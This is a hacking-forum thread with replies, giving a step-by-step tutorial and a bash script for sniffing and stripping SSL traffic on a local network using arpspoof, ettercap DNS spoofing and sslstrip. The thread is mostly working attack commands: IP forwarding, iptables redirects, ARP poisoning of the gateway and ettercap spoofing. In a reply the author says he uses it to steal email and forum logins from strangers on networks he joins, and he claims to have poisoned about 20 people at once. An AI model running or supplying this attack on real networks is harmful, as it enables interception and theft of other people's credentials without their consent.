Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[Linux Tut]SSL sniffing on Ubuntu - SSL Strip/Arpspoof/Ettercap[Linux Tut]

Now I will show you how to sniff SSL traffic on the local network using Arpspoof, ettercap, and SSL strip.

The Install

This will install arpspoof (part of dsniff) and ettercap:

sudo apt-get install ettercap
sudo apt-get install dsniff

Iinstalling sslstrip:

sudo wget http://www.thoughtcrime.org/software/ssl...0.7.tar.gz
tar -zxvf sslstrip-0.7.tar.gz
sudo mv sslstrip-0.7 sslstrip
sudo python setup.py build
sudo rm sslstrip-0.7.tar.gz

Configuring Ettercap

sudo nano /etc/etter.conf

Change the [Privs] section to uid 0

Code
[privs]
ec_uid = 0                # nobody is the default
ec_gid = 0                # nobody is the default

Uncomment the Linux IP tables lines:

Code
# if you use iptables:
   redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
   redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"


Configuring DNS spoofing

sudo nano /usr/share/ettercap/etter.dns

The basic usable syntax is <original IP> A <spoof ip> and wildcards can be used

So to spoof all traffic to google.com you should put this new line at the end of the file:

* A 209.85.227.105

Sniffing and spoofing
Before any sniffing can be done you need to echo a 1 into proc/sys/net/ipv4/ip_forward

sudo su
echo 1 > /proc/sys/net/ipv4/ip_forward
exit

Now you can sniff:

sudo arpspoof -i <network interface ie wlan0> <gateway/router ip>
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
sudo sslstrip -a -k -f

I choose to log my ettercap sessions but this is optional. If you chose to log you must make sure the specified directory exists. Here is the command for a standard sniff

sudo ettercap -T -q -i <network interface> -m "/home/path/to/log/" -P autoadd

Here is the command to dns spoof (remembering first to alter etter.dns to contain the site u wanna spoof to):

sudo ettercap -T -q -i <network interface> -m "home/path/to/log/" -P dns_spoof

Voila!

I find it a bit cumbersome using these tools in this way, so I wrote a script to do the hard work for me, which I thought I might as well share. Save it and mark it as executable.

Code
#!/bin/bash
echo -e "Please ensure \E[32m\033[1m'echo 1 > /proc/sys/net/ipv4/ip_forward'\E[37m\033[0m has been performed as root"
echo -e "If you plan to spoof change your IP in \E[32m\033[1m'/usr/share/ettercap/etter.dns'\E[37m\033[0m"
now=$(date +"%d-%b-%y")
netlog="$now Ettercap Log.txt"
echo -n "Please enter the router IP:    "
read routerip
echo -n "Please enter interface name (eg: wlan0):    "
read iface
echo -n "Would you like to dns spoof at this time? [y/n]"
read spoof
sudo xterm -geometry 75x15+1+300 -T "ARP Spoof" -e arpspoof -i $iface $routerip &
sleep 2
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000 &
echo "Routed IP Tables"
sudo xterm -geometry 75x15+500+300 -T "SSL Strip" -e sslstrip -a -k -f &
echo "SSL Strip Launched successfully"
sleep 2
if [ "$spoof" = "n" ]; then
sudo xterm -geometry 75x15+1000+300 -T Ettercap -e ettercap -T -q -i $iface -m "/home/path/to/log/$netlog" -P autoadd &
else
sudo xterm -geometry 75x15+1000+300 -T Ettercap -e ettercap -T -q -i $iface -m "/home/path/to/log/$netlog" -P dns_spoof &
fi
done
ffs, this is gold. there is even a script to do it all for you. Bump.
Very good tutorial. You're very knowledgable in this area.
what have u personally used this for then
Correct me if I'm wrong, but it appears this scripts poisons the whole network. Have you found this causing a DOS to those on your network? How many computers have you successfully used this on?
Also, it doesn't look like this re-arp's the network when you leave. Am I missing something?

Great tut. I've appreciated almost all of your posts & think this is a great contribution to this site.
"A long habit of not thinking a thing wrong gives it a superficial appearance of being right."
A is A.
good tut, but why would you need sodo to wget http://www.thoughtcrime.org/software/ssl...0.7.tar.gz?
Thanks for the input guys, glad to be of service

You might not need to sudo, I did this from memory and I'm fairly sure you do need to sudo.

@fubu1 - This is used to sniff the traffic of people on the network. It is called a man in the middle attack. Basically, traffic should go user-router-interwebs and back again but with this it goes user-attacker-router-interwebs and back again so most traffic can be read such as email and forum login credentials etc. I like to join a network and sit there stealing info.

@TP yes it poisons the whole network, I've had about 20 people at one time poisoned with no effect on speed, I don't know how much higher it can go.
nice tutorial dude! thanks for share!
Pretty cool dude. Enjoyed reading it.
you only need to Sudo if your not logged in as root
I will try it on my ubuntu tomorow ^^
Thank for sharing .
Having trouble downloading ssl strip it seems that it does not exist.
@ubuntu:~$ sudo wget http://www.thoughtcrime.org/software/ssl...2010-04-19 20:01:48-- http://www.thoughtcrime.org/software/ssl...0.7.tar.gz
Resolving www.thoughtcrime.org... 72.14.190.145
Connecting to www.thoughtcrime.org|72.14.190.145|:80... connected.
HTTP request sent, awaiting response... 404 <h1>404 Not Found</h1><p>Sorry, this file does not appear to exist. You can try finding it from <a href="http://www.thoughtcrime.org">http://www.thoughtcrime.org/</a> or sending me an email to harass me about what's wrong. <p>Sorry!
2010-04-19 20:01:48 ERROR 404: <h1>404 Not Found</h1><p>Sorry, this file does not appear to exist. You can try finding it from <a href="http://www.thoughtcrime.org">http://www.thoughtcrime.org/</a> or sending me an email to harass me about what's wrong. <p>Sorry!.
not quite sure why this isn't working for me? i'm doing everything as follows, and yet i am seeing no passwords showing up, the sniffer just sits...?
and i logged in on my other comp to test and still nothing popped up
http://www.codeshock.org/forum/viewtopic...69&start=0

Leecher.
Bump



Great tut
too bad account was ....


Possibly Related Threads...
Thread / Author Replies Views Last Post
by BhalgornDec 21, 2025 05:59 PM 62 6,812 Dec 21, 2025 05:59 PM
Last Post: Ari3s_c0ps
by Unknown69841Jan 20, 2021 04:58 AM 0 237 Jan 20, 2021 04:58 AM
Last Post: Unknown69841
by BhalgornNov 16, 2019 08:39 AM 27 6,755 Nov 16, 2019 08:39 AM
Last Post: James Cooper